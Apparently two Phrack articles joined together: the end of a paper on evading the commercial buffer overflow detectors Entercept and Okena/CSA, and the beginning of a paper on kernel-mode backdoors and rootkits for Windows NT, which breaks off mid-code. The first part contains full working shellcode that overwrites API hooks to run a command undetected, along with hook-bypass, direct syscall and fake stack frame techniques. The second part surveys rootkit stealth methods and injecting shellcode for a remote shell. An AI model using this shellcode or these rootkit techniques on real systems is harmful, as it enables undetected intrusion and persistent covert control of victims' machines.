prevent attacker's shellcode from spawning a process.

The call path for WinExec looks like this:

```
       WinExec() --> CreateProcessA() --> CreateProcessInternalA()
```

Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA()
(see Appendix A and B). However, neither product hooks
CreateProcessInternalA() (exported by kernel32.dll). When writing a
shellcode, an attacker could find the export for
CreateProcessInternalA() and use it instead of calling WinExec().

CreateProcessA() pushes two NULLs onto the stack before calling
CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs
and then call CreateProcessInternalA() directly to evade the userland
API hooks of both products.

As new DLLs and APIs are released, the complexity of Win32 API internal
interactions increases, making the problem worse. Third party product
vendors are at a severe disadvantage when implementing their buffer

overflow detection technologies and are bound to make mistakes which
can be exploited by attackers.

----[4.2 - Fun With Trampolines

Most Win32 API functions begin with a five byte preamble. First, EBP is
pushed onto the stack, then ESP is moved into EBP.

```
        [------------------------------------------------------------]

             Code Bytes          Assembly
                  55             push ebp
                  8bec           mov ebp, esp

        [------------------------------------------------------------]
```

Both Okena/CSA and Entercept use inline function hooking. They overwrite
the first 5 bytes of a function with an immediate unconditional jump or
call. For example, this is what the first few bytes of WinExec() look like
after NAI Entercept's hooks have been installed:

```
        [------------------------------------------------------------]

               Code Bytes          Assembly
                     e8 xx xx xx xx       call xxxxxxxx
                     54                   push esp
                     53                   push ebx
                     56                   push esi
                     57                   push edi

        [------------------------------------------------------------]
```

Alternatively, the first few bytes could be overwritten with a jump
instruction:

```
        [------------------------------------------------------------]

               Code Bytes               Assembly
                       e9 xx xx xx xx     jmp xxxxxxxx
                       ...

        [------------------------------------------------------------]
```

Obviously, it is easy for shellcode to test for these and other signatures
before calling a function. If a hijacking mechanism is detected, the
shellcode can use several different techniques to bypass the hook.

------[4.2.1 - Patch Table Jumping

When an API is hooked, the original preamble is saved into a table so that
the buffer overflow detector can recreate the original API after
performing its validation checks. The preamble is stored in a patch table,
which resides somewhere in the address space of an application. When
shellcode detects the presence of an API hook, it can simply search for
the patch table and make its calls to patch table entries. This
completely avoids the hook, preventing the userland buffer overflow
detector components from ever being in the attacker's call path.

------[4.2.2 - Hook Hopping

Alternatively, instead of locating the patch table, shellcode can include
its own copy of the original pre-hook preamble. After executing its own
API preamble, the shellcode can transfer execution to immediately after
the API hook (function address plus five bytes).

Since Intel x86 has variable length instructions, one must take this into
account in order to land on an even instruction boundary:

```
        [-------------------------------------------------------------]

                Shellcode:
                        call WinExecPreamble

                WinExecPreamble:
                        push ebp
                        mov ebp, esp
                        sub esp, 54
                        jmp WinExec+6

        [-------------------------------------------------------------]
```

This technique will not work if another function within the call path
is also hooked. In this case, Entercept also hooks CreateProcessA(),
which WinExec() calls. Thus, to evade detection shellcode should call
CreateProcessA() using the stored copy of CreateProcessA's preamble.

----[4.3 - Repatching Win32 APIs

Thoroughly hooking Win32 APIs is not effective when certain fundamental
errors are made in the implementation of a userland buffer overflow
detection component.

Certain implementations (NAI Entercept) have a serious problem with the
way they perform their API hooking. In order to be able to overwrite
preambles of hooked functions, the code section for a DLL has to be made
writable. Entercept marks code sections of kernel32.dll and ntdll.dll as
writable in order to be able to modify their contents. However, Entercept
never resets the writable bit!

Due to this serious security flaw, it is possible for an attacker to
overwrite the API hook by re-injecting the original preamble code. For
the WinExec() and CreateProcessA() examples, this would require
overwriting the first 6 bytes (just to be instruction aligned) of
WinExec() and CreateProcessA() with the original preamble.

```
        [-------------------------------------------------------------]
                WinExecOverWrite:
                     Code Bytes          Assembly
                       55                push ebp
                       8bec              mov ebp, esp
                       83ec54            sub esp, 54

                CreateProcessAOverWrite:
                     Code Bytes          Assembly
                       55                push ebp
                       8bec              mov ebp, esp
                       ff752c            push DWORD PTR [ebp+2c]
        [-------------------------------------------------------------]
```

This technique will not work against properly implemented buffer overflow
detectors, however it is very effective against NAI Entercept. A complete
shellcode example which overwrites the NAI Entercept hooks is presented
below:

```
        [-------------------------------------------------------------]

              // This sample code overwrites the preamble of WinExec and
              // CreateProcessA to avoid detection. The code then
              // calls WinExec with a "calc.exe" parameter.
              // The code demonstrates that by overwriting function
              // preambles, it is able to evade Entercept and Okena/CSA
              // buffer overflow protection.

                _asm {
                        pusha
                        jmp JUMPSTART
        START:
                        pop ebp
                        xor eax, eax
                        mov al, 0x30
                        mov eax, fs:[eax];
                        mov eax, [eax+0xc];

                        // We now have the module_item for ntdll.dll
                        mov eax, [eax+0x1c]

                        // We now have the module_item for kernel32.dll
                        mov eax, [eax]

                        // Image base of kernel32.dll
                        mov eax, [eax+0x8]

                        movzx ebx, word ptr [eax+3ch]

                        // pe.oheader.directorydata[EXPORT=0]
                        mov esi, [eax+ebx+78h]
                        lea esi, [eax+esi+18h]

                        // EBX now has the base module address
                        mov ebx, eax
                        lodsd

                        // ECX now has the number of function names
                        mov ecx, eax
                        lodsd
                        add eax,ebx

                        // EDX has addresses of functions
                        mov edx,eax

                        lodsd

                        // EAX has address of names
                        add   eax,ebx

                        // Save off the number of named functions
                        // for later
                        push ecx

                        // Save off the address of the functions
                        push edx

        RESETEXPORTNAMETABLE:
                        xor edx, edx

        INITSTRINGTABLE:
                        mov esi, ebp // Beginning of string table
                        inc esi

        MOVETHROUGHTABLE:
                        mov edi, [eax+edx*4]
                        add edi, ebx // EBX has the process base address

                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        test cl, cl
                        jz DONESTRINGSEARCH


        STRINGSEARCH:   // ESI points to the function string table
                        repe cmpsb
                        je Found

                        // The number of named functions is on the stack
                        cmp [esp+4], edx
```

```
                        je NOTFOUND
                        inc edx
                        jmp INITSTRINGTABLE
        Found:
                        pop ecx
                        shl edx, 2
                        add edx, ecx
                        mov edi, [edx]
                        add edi, ebx
                        push edi
                        push ecx
                        xor ecx, ecx
                        mov cl, BYTE PTR [ebp]
                        inc ecx
                        add ebp, ecx
                        jmp RESETEXPORTNAMETABLE

        DONESTRINGSEARCH:
        OverWriteCreateProcessA:
                        pop edi
                        pop edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

        OverWriteWinExec:
                        pop edi
                        push edi
                        push 0x06
                        pop ecx
                        inc esi
                        rep movsb

        CallWinExec:
                        push 0x03
                        push esi
                        call [esp+8]

        NOTFOUND:
                        pop edx
        STRINGEXIT:
                        pop ecx
                        popa;
                        jmp EXIT

        JUMPSTART:
                        add esp, 0x1000
                        call START
        WINEXEC:
                        _emit 0x07
                        _emit 'W'
                        _emit 'i'
                        _emit 'n'
                        _emit 'E'
                        _emit 'x'
                        _emit 'e'
                        _emit 'c'
        CREATEPROCESSA:
                        _emit 0x0e
                        _emit 'C'
                        _emit 'r'
                        _emit 'e'
                        _emit 'a'
                        _emit 't'
                        _emit 'e'
                        _emit 'P'
                        _emit 'r'
                        _emit 'o'
                        _emit 'c'
                        _emit 'e'
                        _emit 's'
                        _emit 's'
                        _emit 'A'
        ENDOFTABLE:
                        _emit 0x00

        WinExecOverWrite:
                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0x83
                        _emit 0xec
                        _emit 0x54
        CreateProcessAOverWrite:
                        _emit 0x06
                        _emit 0x55
                        _emit 0x8b
                        _emit 0xec
                        _emit 0xff
                        _emit 0x75
                        _emit 0x2c
        COMMAND:
                        _emit 'c'
                        _emit 'a'
                        _emit 'l'
                        _emit 'c'
                        _emit '.'
                        _emit 'e'
                        _emit 'x'
                        _emit 'e'
                        _emit 0x00

        EXIT:
                        _emit 0x90

                        // Normally call ExitThread or something here
                        _emit 0x90
                }

        [-------------------------------------------------------------]
```

----[4.4 - Attacking Userland Components

While evading the hooks and techniques used by userland buffer overflow
detector components is effective, there exist other mechanisms of
bypassing the detection. Because both the shellcode and the buffer
overflow detector are executing with the same privileges and in the same
address space, it is possible for shellcode to directly attack the
buffer overflow detector userland component.

Essentially, when attacking the buffer overflow detector userland
component the attacker is attempting to subvert the mechanism used to
perform the shellcode detection check. There are only two principle
techniques for shellcode validation checking. Either the data used for the
check is determined dynamically during each hooked API call, or the data
is gathered at process start up and then checked during each call.
In either case, it is possible for an attacker to subvert the process.

------[4.4.1 - IAT Patching

Rather than implementing their own versions of memory page information
functions, the commercial buffer overflow protection products simply use
the operating system APIs. In Windows NT, these are implemented in
ntdll.dll. These APIs will be imported into the userland component
(itself a DLL) via its PE Import Table. An attacker can patch vectors
within the import table to alter the location of an API to a function

supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection.

------[4.4.2 - Data Section Patching

For various reasons, a buffer overflow detector might use a pre-built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies.

----[4.5 - Calling Syscalls Directly

As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors.

To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions.

Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers.

Here is the pseudo code for calling NtReadFile system call directly:

```
        ...
        xor eax, eax

        // Optional Key
        push eax
        // Optional pointer to large integer with the file offset
        push eax

        push Length_of_Buffer
        push Address_of_Buffer

        // Before call make room for two DWORDs called the IoStatusBlock
        push Address_of_IoStatusBlock

        // Optional ApcContext
        push eax
        // Optional ApcRoutine
        push eax
        // Optional Event
        push eax

        // Required file handle
        push hFile

        // EAX must contain the system call number
        mov eax, Found_Sys_Call_Num

        // EDX needs the address of the userland stack
        lea edx, [esp]

        // Trap into the kernel
        // (recent Windows NT versions use "sysenter" instead)
        int 2e
```

----[4.6 - Faking Stack Frames

As described in section 3.2, kernel based stack backtracing can be
bypassed using fake frames. Same techniques works against userland based
detectors.

To bypass both userland and kernel backtracing, shellcode can create a
fake stack frame without the ebp register on stack. Since stack
backtracing relies on the presence of the ebp register to find the next
stack frame, fake frames can stop backtracing code from tracing past
the fake frame.

Of course, generating a fake stack frame is not going to work when the
EIP register still points to shellcode which resides in a writable
memory segment. To bypass the protection code, shellcode needs to use
an address that lies in a non-writable memory segment. This presents
a problem since shellcode needs a way to eventually regain control of
the execution.

The trick to regaining control is to proxy the return to shellcode
through a "ret" instruction which resides in a non-writable memory
segment. "ret" instruction can be found dynamically by searching memory
for a 0xC3 opcode.

Here is an illustration of a normal LoadLibrary("kernel32.dll") call
that originates from a writable memory segment:

```
        push    kernel32_string
        call    LoadLibrary

        return_eip:


        .
        .
        .

        LoadLibrary:    ; * see below for a stack illustration

        .
        .
        .
        ret             ; return to stack-based return_eip



        |------------------------------|
        | address of "kernel32.dll" str|
        |------------------------------|
        | return address (return_eip)  |
        |------------------------------|
```

As explained before, the buffer overflow protection code executes before
LoadLibrary gets to run. Since the return address (return_eip) is in a
writable memory segment, the protection code logs the overflow
and terminates the process.

Next example illustrates 'proxy through a "ret" instruction' technique:

```
        push    return_eip
        push    kernel32_string

        ; fake "call LoadLibrary" call
        push    address_of_ret_instruction
        jmp     LoadLibrary
        return_eip:


        .
        .
        .

        LoadLibrary:    ; * see below for a stack illustration

        .
        .
        .
        ret             ; return to non stack-based address_of_ret_instruction




        address_of_ret_instruction:

        .
        .
        .
        ret             ; return to stack-based return_eip
```

Once again, the buffer overflow protection code executes before
LoadLibrary gets to run. This time though, the stack is setup with a
return address pointing to a non-writable memory segment. In addition,
the ebp register is not present on stack thus the protection code cannot
perform stack backtracing and determine that the return address in the
next stack frame points to a writable segment. This allows the shellcode
to call LoadLibrary which returns to the "ret" instruction. In its turn,
the "ret" instruction pops the next return address off stack
(return_eip) and transfers control to it.

```
        |------------------------------|
        | return address (return_eip)  |
        |------------------------------|
        | address of "kernel32.dll" str|
        |------------------------------|
        | address of "ret" instruction |
        |------------------------------|
```

In addition, any number of arbitrary complex fake stack frames can be
setup to further confuse the protection code.

Here is an example of a fake frame that uses a "ret 8" instruction
instead of simple "ret":

```
        |--------------------------------|
        |         return address         |
        |--------------------------------|
        |  address of "ret" instruction  |       <- fake frame 2
        |--------------------------------|
        |          any value             |
        |--------------------------------|
        | address of "kernel32.dll" str  |
        |--------------------------------|
        | address of "ret 8" instruction |       <- fake frame 1
        |--------------------------------|
```

This causes an extra 32-bit value to be removed from stack, complicating
any kind of analysis even further.

--[5 - Conclusions

The majority of commercial security systems do not actually prevent
buffer overflows but rather detect the execution of shellcode. The most
common technology used to detect shellcode is code page permission
checking which relies on stack backtracing.

Stack backtracing involves traversing stack frames and verifying that
the return addresses do not originate from writable memory segments such
as stack or heap areas.

The paper presents a number of different ways to bypass both userland
and kernel based stack backtracing. These range from tampering with
function preambles to creating fake stack frames.

In conclusion, the majority of current buffer overflow protection
implementations are flawed, providing a false sense of security and
little real protection against determined attackers.

Appendix A: Entercept 4.1 Hooks

Entercept hooks a number of functions in userland and in the kernel. Here
is a list of the currently hooked functions as of Entercept 4.1.

```
User Land
     msvcrt.dll
          _creat
          _read
          _write
          system
     kernel32.dll
          CreatePipe
          CreateProcessA
          GetProcAddress
          GetStartupInfoA
          LoadLibraryA
          PeekNamedPipe
          ReadFile
          VirtualProtect
          VirtualProtectEx
          WinExec
          WriteFile
     advapi32.dll
          RegOpenKeyA
     rpcrt4.dll
          NdrServerInitializeMarshall
     user32.dll
          ExitWindowsEx
     ws2_32.dll
          WPUCompleteOverlappedRequest
          WSAAddressToStringA
          WSACancelAsyncRequest
          WSACloseEvent
          WSAConnect
          WSACreateEvent
          WSADuplicateSocketA
          WSAEnumNetworkEvents
          WSAEventSelect
          WSAGetServiceClassInfoA
          WSCInstallNameSpace
     wininet.dll
          InternetSecurityProtocolToStringW
          InternetSetCookieA
          InternetSetOptionExA
     lsasrv.dll
```

```
          LsarLookupNames
          LsarLookupSids2
     msv1_0.dll
          Msv1_0ExportSubAuthenticationRoutine
          Msv1_0SubAuthenticationPresent

Kernel
     NtConnectPort
     NtCreateProcess
     NtCreateThread
     NtCreateToken
     NtCreateKey
     NtDeleteKey
     NtDeleteValueKey
     NtEnumerateKey
     NtEnumerateValueKey
     NtLoadKey
     NtLoadKey2
     NtQueryKey
     NtQueryMultipleValueKey
     NtQueryValueKey
     NtReplaceKey
     NtRestoreKey
     NtSetValueKey
     NtMakeTemporaryObject
     NtSetContextThread
     NtSetInformationProcess
     NtSetSecurityObject
     NtTerminateProcess
```

Appendix B: Okena/Cisco CSA 3.2 Hooks

Okena/CSA hooks many functions in userland but many less in the kernel.
A lot of the userland hooks are the same ones that Entercept hooks.
However, almost all of the functions Okena/CSA hooks in the kernel are
related to altering keys in the Windows registry. Okena/CSA does not
seem as concerned as Entercept about backtracing calls in the kernel.
This leads to an interesting vulnerability, left as an exercise to the
reader.

```
User Land
     kernel32.dll
          CreateProcessA
          CreateProcessW
          CreateRemoteThread
          CreateThread
          FreeLibrary
          LoadLibraryA
          LoadLibraryExA
          LoadLibraryExW
          LoadLibraryW
          LoadModule
          OpenProcess
          VirtualProtect
          VirtualProtectEx
          WinExec
          WriteProcessMemory
    ole32.dll
          CoFileTimeToDosDateTime
          CoGetMalloc
          CoGetStandardMarshal
          CoGetState
          CoResumeClassObjects
          CreateObjrefMoniker
          CreateStreamOnHGlobal
          DllGetClassObject
          StgSetTimes
          StringFromCLSID
     oleaut32.dll
          LPSAFEARRAY_UserUnmarshal
     urlmon.dll
          CoInstall

Kernel
     NtCreateKey
     NtOpenKey
     NtDeleteKey
     NtDeleteValueKey
     NtSetValueKey
     NtOpenProcess
     NtWriteVirtualMemory


|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10

```
|=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ firew0rker <firew0rker@nteam.ru> ]=----------------=|
|=----------------=[ the nobodies <http://www.nteam.ru> ]=---------------=|
```

--[Table of contents

```
  1 - PREFACE

  2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
    2.1 - NTROOTKIT
    2.2 - HE4HOOK
    2.3 - SLANRET (IERK, BACKDOOR-ALI)

  3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY

  4 - MY VARIANT: THORNY PATH
    4.1 - SHELL
    4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
    4.3 - OBSCURITY ON DISK

  5 - CONCLUSION
  6 - EPILOGUE
  7 - LIST OF USED SOURCES
  8 - FILES
```

--[1 - Preface

This article is intended for those who know the architecture of the Windows NT kernel and the principles of operation of NT drivers. This article examines issues involved in the development of kernel-mode tools for stealthy remote administration of Windows NT.

Recently there has been a tendency of extending the use of Windows NT (2000, XP, 2003) from it's classical stronghold as home and office OS to servers. At the same time, the outdated Windows 9x family is replaced by the NT family. Because of this it should be evident that remote administration tools (backdoors) and unnoticeable access tools (rootkits) for the NT family have a certain value. Most of the published utilities work in user-mode and can thus be detected by Antivirus tools or by manual inspection.

It's quite another matter those works in kernel-mode: They can hide from any user-mode program. Antivirus software will have to suplly kernel-mode components in order to detect a kernel-mode-backdoor. Software exists that protects against such backdoors (such as IPD, "Integrity Protection Driver"), but it's use is not widely spread. Kernel mode backdoors are not as widely used as they could be due to their relative complexity in comp-arison with user-mode backdoors.

--[2 - Overview of existing Kernel-Mode backdoors for Windows NT

This section briefly reviews existing kernel-mode backdoors for Windows NT.

----[2.1 - Ntrootkit

Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a device driver for Windows NT 4.0 and 2000. It's possibilities (implemented and potential):

- Receiving commands from a remote client. The rk_packet module contains a simplified IP-stack, which uses free IP-address from the subnet where the host on which Ntrootkit has been installed is situated.

```
   It's MAC and IP addresses are hardcoded in the source. Connection with
   the rootkit at that IP is carried out via a TCP connection to any port.
   The available commands in rk_command.c are:

       ps - list processes
       help - self explainatory
       buffertest, echo and debugint - for debugging purpose
       hidedir - hide directory/file
       hideproc - hide process(es)
       sniffkeys - keyboard spy

   There are also imcomplete pieces of code: Execute commands received via
   a covert channel and starting a Win32-process from a driver (a hard and
   complicated task).

 - Encrypt all traffic using Schneier's Blowfish algorithm:
   rk_blowfish.c is present, but not (yet ?) used

 - Self-defense (rk_defense.c) - hide protected objects (in this
   case: registry keys), identified by the string "_root_"; redirect
   launched processes.

   The hiding of processes, directories and files as implemented in
   rk_ioman.c is done through hooking the following functions:

       NtCreateFile
       ZwOpenFile
       ZwQueryDirectoryFile
       ZwOpenKey
       ZwQueryKey
       ZwQueryValueKey
       ZwEnumerateValueKey
       ZwEnumerateKey
       ZwSetValueKey
       ZwCreateKey

   The way to detect this rootkit:

   Make direct request to filesystem driver, send IRP to it. There is
   one more module that hooks file handling: rk_files.c, adopted from
   filemon, but it is not used.

 - Starting processes: An unfinished implementation of it can be found
   in rk_command.c, another one (which is almost complete and good) is
   in rk_exec.c

   The implementation suffers from the fact that Zw* functions which are
   normally unavailable to drivers directly are called through the system
   call interface (int 0x2E), leading to problems with different versions
   of the NT family as system call numbers change.

    It seems like the work on Ntrootkit is very loosely coordinated: every
    developer does what (s)he considers needed or urgent. Ntrootkit does
    not achieve complete (or sufficient) invisibility. It creates device
    named "Ntroot", visible from User-Mode.

    When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.

    However, Ntrootkit development is still in progress, and it will
probably become a fully-functional tool for complete and stealthy remote
administration.

----[ 2.2 - He4Hook
```

```
    This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.

Method A: hook kernel syscalls:
===============================

ZwCreateFile, ZwOpenFile      - driver version 1.12 and from 1.17 to
                                2.15beta6
IoCreateFile                  - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6

Almost all these exported functions (Zw*) have the following function
body:
  mov eax, NumberFunction
  lea edx, [esp+04h]
  int 2eh                       ; Syscall interface

    The "NumberFunction" is the number of the called function in the
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:

typedef struct SystemServiceDescriptorTable
  {
    SSD  SystemServiceDescriptors[4];
  } SSDT, *LPSSDT;

Other structures:

typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;

typedef struct SystemServiceDescriptor
  {
    LPSSTAT lpSystemServiceTableAddressTable;
    ULONG  dwFirstServiceIndex;
    ULONG  dwSystemServiceTableNumEntries;
    LPSSTPT lpSystemServiceTableParameterTable;
  } SSD, *LPSSD;

The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.

Base services are in

 KeServiceDescriptorTable->SystemServiceDescriptors[0]
 KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]

KernelMode GUI services are in
 KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]

    Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the
following data:

lpSystemServiceTableAddressTable   - A pointer to an array of addresses
                                     of functions that will be called if
                                     a matching syscall is called

dwFirstServiceIndex                - Start index for the first function

dwSystemServiceTableNumEntries     - Number of services in table

lpSystemServiceTableParameterTable - An array of bytes specifying the
                                     number of bytes from the stack that
```

```
                                          will be passed through
```

In order to hook a system call, He4HookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.

One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:

- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.

Otherwise, if it updated only KeServiceDescriptorTable, new services
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:

    The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function
FindShadowTable(void).

    If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This
address has not changed since WinNT Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe

Method B: (for driver versions 2.11 and higher)
===

    The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers
(DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DriverUnload).

The following functions are handled:

```
IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
```

For a more detailed description of the redirection of file operations
refer to the source [2].

----[2.3 - Slanret (IERK, Backdoor-ALI)

    The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called "Virtual Memory Manager".

        "Slanret is technically just one component of a
         root kit. It comes with a straightforward backdoor
         program: a 27 kilobyte server called "Krei" that
         listens on an open port and grants the hacker remote
         access to the system. The Slanret component is a
         seven kilobyte cloaking routine that burrows into the
         system as a device driver, then accepts commands from
         the server instructing it on what files or processes
         to conceal." [3]

----[3. Stealth on disk, in registry and in memory

    The lower the I/O interception in a rootkit is performed, the harder it usually is to detect it's presence. One would think that a reliable place for interception would be the low-level disk operations (read/write sectors). This would require handling all filesystems that might be on the hard disk though: FAT16, FAT32, NTFS.

While FAT was relatively easy to deal with (and some old DOS stealth viruses used similar techniques) an implementation of something similar on WinNT is a task for maniacs.

A second place to hook would be hooking dispatch functions of file-system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in memory or patch the drivers on disk. This has the advantage of being relatively universal and is the method used in HE4HookInv.

A third possibility is setting a filter on a filesyste driver (FSD). This has no advantages in comparison with the previous method, but has the drawback of being more visible (Filemon uses this approach). The functions Zw*, Io* can then be hooked either by manipulating the Ke-ServiceDescriptorTable or directly patching the function body. It is usually quite easy to detect that pointers in KeServiceDescriptorTable point to strange locations or that the function body of a function has changed. A filter driver is also easy to detect by calling IoGetDevice-ObjectPointer and then checking DEVICE_OBJECT->StackSize.

All normal drivers have their own keys in the registry, namely in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.

The abovementioned rootkits can hide registry keys, but obviously, if the system is booted "cleanly", an administrator can see anything that was hidden. One can also load a rootkit using ZwSetSystemInformation(SystemLoadAndCallimage) without the need to create any registry keys. An example of this technique can be found in [6].

A rootkit loader in a separate file is too unstealthy. It might be a smarter move to patch that call into some executable file which is part of the system boot. One can use any driver or user-mode program that works with sufficient privileges, or any DLL linked to by it. One has to ask one question though: If the newly introduced changes need to be hidden anyway, why make two similar but differing procedures (for hiding changes to a file as well as hiding the existance of a file) instead of limiting our-selves to one ?

In most cases one can target null.sys. Implementing it's functionality is as easy as "hello world", and that is why it is usually replaced with a trojan. But if we are going to have a procedure for hiding changes to a file, we can replace ANY driver with a trojan that will substitute the content of the replaced file with the original content to everyone (incl-uding the kernel). Upon startup, it will copy itself to some allocated memory area and start a thread there.

This will make the trojan almost unnoticeable in memory: No system utility can see the driver any more, as it is just an anonymous memory page amongst many. We do not even need a thread, using intercepted IRP dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]). We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM will be visible in the task manager. After this is done the trojan can unload the driver it was started from, and reload it in a clean (unchanged) variant. As a result, high levels of stealth will be achieved by relatively simple means. The original content of the manipu-lated file could for example be stored in the trojan's file after the trojan itself.

It will then be sufficient to hook all FSD requests (IRP and FastIO) and upon access change the position (and size of the file). (CurrentIrpStackLocation->Parameters.*.ByteOffset)

--[4 - My variant: The thorny path

----[4.1 - Shell

    I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.

First variant
=============

    We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.

    I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.

    So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.

    So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).

    One unsolved problem remains: If the thread is in waiting state, it
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:

Second variant
==============

    Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.

    This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:

```
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{
        CSRMSG                        csrmsg;
        HANDLE                        hCurProcess;
        HANDLE                        handleIndex;
        PVOID                        p;
        _asm int 3;

        UNICODE_STRING                PortName;
        RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort");
        static  SECURITY_QUALITY_OF_SERVICE QoS =
                {sizeof(QoS), SecurityAnonymous, 0, 0};
        /*static  SECURITY_QUALITY_OF_SERVICE QoS =
                {0x77DC0260,
                (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
        DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
                                NULL,NULL,NULL,NULL);

        if (!ret) {
                RtlZeroMemory(&csrmsg,sizeof(CSRMSG));

                csrmsg.ProcessInformation.hProcess=hProcess;
                csrmsg.ProcessInformation.hThread=hThread;
                csrmsg.ProcessInformation.dwProcessId=pid;
                csrmsg.ProcessInformation.dwThreadId=tid;

